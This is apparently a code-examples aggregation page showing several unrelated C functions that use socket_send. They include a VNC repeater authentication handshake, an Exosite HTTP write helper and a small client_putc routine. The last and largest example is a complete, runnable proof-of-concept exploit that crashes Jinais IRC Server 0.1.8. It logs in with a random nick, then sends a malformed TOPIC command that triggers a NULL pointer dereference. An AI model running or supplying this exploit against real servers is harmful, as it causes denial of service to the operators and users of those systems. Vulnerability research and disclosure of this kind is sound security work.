			// Act like a server until the authentication phase is over. Send the protocol version.
			sprintf(protocol_version, rfbProtocolVersionFormat, rfbProtocolMajorVersion, rfbProtocolMinorVersion);
			if( socket_send(conn, protocol_version, sz_rfbProtocolVersionMsg, "protocol version to viewer") ) {
  			logp(DEBUG, "Protocol version sent to viewer (socket=%d).", conn);

			  // Read the protocol version the client suggests (Must be 3.3)
			  if( socket_recv(conn, protocol_version, sz_rfbProtocolVersionMsg, "protocol version from viewer") ) {
  			  logp(DEBUG, "Viewer (socket=%d) sent protocol version.", conn);

			    // Send Authentication Type (VNC Authentication to keep it standard)
			    auth_type = Swap32IfLE(rfbVncAuth);
			    if( socket_send(conn, (char *)&auth_type, sizeof(auth_type), "auth type to viewer") ) {
  			    logp(DEBUG, "Authentication scheme sent to viewer (socket=%d).", conn);

			      // We must send the 16 bytes challenge key. In order for this to work the challenge must be always the same.
			      if( socket_send(conn, (char *)challenge_key, CHALLENGESIZE, "challenge key to viewer") ) {
  			      logp(DEBUG, "Challenge sent to viewer (socket=%d).", conn);

			        // Read the password. It will be treated as the repeater IDentifier.
			        memset(challenge, 0, CHALLENGESIZE);
			        if( socket_recv(conn, (char *)challenge, CHALLENGESIZE, "challenge response from viewer") ) {
  			        logp(DEBUG, "Viewer (socket=%d) sent challenge response.", conn);

			          // Send Authentication response
			          auth_response = Swap32IfLE(rfbVncAuthOK);
			          if( socket_send(conn, (char *)&auth_response, sizeof(auth_response), "auth response to viewer") ) {
  			          logp(DEBUG, "Authentication response sent to viewer (socket=%d).", conn);

			            // Retrieve ClientInit and save it inside the structure.
			            if( socket_recv(conn, (char *)&client_init, sizeof(client_init), "ClientInit from viewer") ) {
			              logp(DEBUG, "Viewer (socket=%d) sent ClientInit message.", conn);
                    add_new_slot(INVALID_SOCKET, conn, challenge, -1);
			            } 
			          }
			        }
			      }
			    }
			  }
			}
		}
	}
	notstopped = false;
	socket_close(thread_params->sock);
	log(INFO, "Viewer listening thread has exited.");
	return 0;
}
/*
*********************************************************************************************************
* NOTE: 'pkey' and 'pval' must be urlencoded
*********************************************************************************************************
*/
CPU_BOOLEAN Exosite_Write(CPU_CHAR *pkey, CPU_CHAR *pval)
{
    CPU_BOOLEAN  success = DEF_FALSE;
    NET_SOCK_ID  sock;
    CPU_SIZE_T   len, slen, klen, vlen, rxlen;
    CPU_CHAR     length[4];
    CPU_CHAR     rx[RX_SIZE];

    klen = Str_Len(pkey);
    vlen = Str_Len(pval);
    len =  klen + 1 + vlen; // "<pkey>","=","<pval>"

    if (0 == Str_FmtNbr_Int32U (
        (CPU_INT32U)  len,
        (CPU_INT08U)  3,
        (CPU_INT08U)  10,
        (CPU_CHAR)    '\0',
        (CPU_BOOLEAN) DEF_YES,
        (CPU_BOOLEAN) DEF_YES,
        (CPU_CHAR*)   length
    ))
    {
        return success;
    }
    slen = Str_Len_N(length, 3);

    sock = socket_open();

    if (-1 == sock)
    {
        return success;
    }

    if (
        35         != socket_send(sock, "POST /api:v1/stack/alias HTTP/1.1\r\n", 35) ||
        22         != socket_send(sock, "Host: m2.exosite.com\r\n", 22) ||
        15         != socket_send(sock, "X-Exosite-CIK: ", 15) ||
        CIK_LENGTH != socket_send(sock, CIK, CIK_LENGTH) ||
        2          != socket_send(sock, "\r\n", 2) ||
        64         != socket_send(sock, "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n", 64) ||
        16         != socket_send(sock, "Content-Length: ", 16) ||
        slen       != socket_send(sock, length, slen) ||
        4          != socket_send(sock, "\r\n\r\n", 4) ||
        klen       != socket_send(sock, pkey, klen) ||
        1          != socket_send(sock, "=", 1) ||
        vlen       != socket_send(sock, pval, vlen)
    )
    {
        socket_close(sock);
        return success;
    }

    // @HTTP/x.x NNN@
    rxlen = socket_recv(sock, rx, 12);

    if (12 == rxlen && '2' == rx[9] && '0' == rx[10] && '4' == rx[11])
    {
        success = DEF_TRUE;
    }

    socket_close(sock);
    return success;
}
Ejemplo n.º 29
0
void client_putc (client_t *c, uint8_t b)
{
    if (c->sock != MAX_SOCK_NUM)
        socket_send (c->sock, &b, 1);
}
Ejemplo n.º 30
0
int main(int argc, char *argv[]) {

	int sd,
	    rnd_num,
	    len,
	    port = DEFAULT_PORT;
	char pkg[BUFF_SIZE],
	     *response = NULL,
	     *host = NULL;
	
	if(argc < 2) {
		printf("\nJinais IRC Server 0.1.8 NULL Pointer PoC - (c) Salvatore Fresta"
		       "\nhttp://www.salvatorefresta.net"
		       "\n"
		       "\nUsage: %s <target_hostname> <port> (default: %d)\n\n", argv[0], port);
		return -1;
	}
	
	srand(time(NULL));
	
	host = argv[1];
	if(argc > 2) port = atoi(argv[2]);
	
	printf("\nJinais IRC Server 0.1.8 NULL Pointer PoC - (c) Salvatore Fresta"
		   "\nhttp://www.salvatorefresta.net"
		   "\n\n[*] Connecting to %s:%hu...", host, port);
	
	sd = socket_connect(host, port);
	if(sd < 0) {
		printf("\n[-] Error on connect!\n\n");
		return -1;
	}
	
	printf("\n[+] Connection estabilished"
	       "\n[*] Loggin to IRC server...");
	
login:	
	
	rnd_num = rand()%100+1;
	
	len = snprintf(pkg, sizeof(pkg), "NICK randomnickname%d\r\n", rnd_num);
	if(len < 0 || len > sizeof(pkg)) {
		perror("\n[-] Error: snprintf");
		socket_close(sd);
		return -1;
	}
	
	if(socket_send(sd, pkg, len) < 0) {
		perror("\n[-] Error: socket_send");
		socket_close(sd);
		return -1;
	}
	
	response = socket_receive(sd, 3);
	if(!response) {
		perror("\n[-] Error: socket_receive");
		socket_close(sd);
		return -1;
	}
	
	if(strstr(response, "Nickname is already in use")) {
		free(response);
		goto login;
	}
	free(response);
	
	printf("\n[+] Login successfully"
	       "\n[*] Data sending...");
	       
	rnd_num = rand()%100+1;
	len = snprintf(pkg, sizeof(pkg), "USER blabla\r\nTOPIC #ch%d\r\n", rnd_num);
	if(len < 0 || len > sizeof(pkg)) {
		perror("\n[-] Error: snprintf");
		socket_close(sd);
		return -1;
	}
	
	if(socket_send(sd, pkg, len) < 0) {
		perror("\n[-] Error: socket_send");
		socket_close(sd);
		return -1;
	}
	
	response = socket_receive(sd, 3);
	if(!response) {
		perror("\n[-] Error: socket_receive");
		socket_close(sd);
		return -1;
	}
	
	socket_close(sd);
	
	printf("\n[+] Data sent successfully"
	       "\n[+] Connection closed\n\n");
	
	return 0;
	
}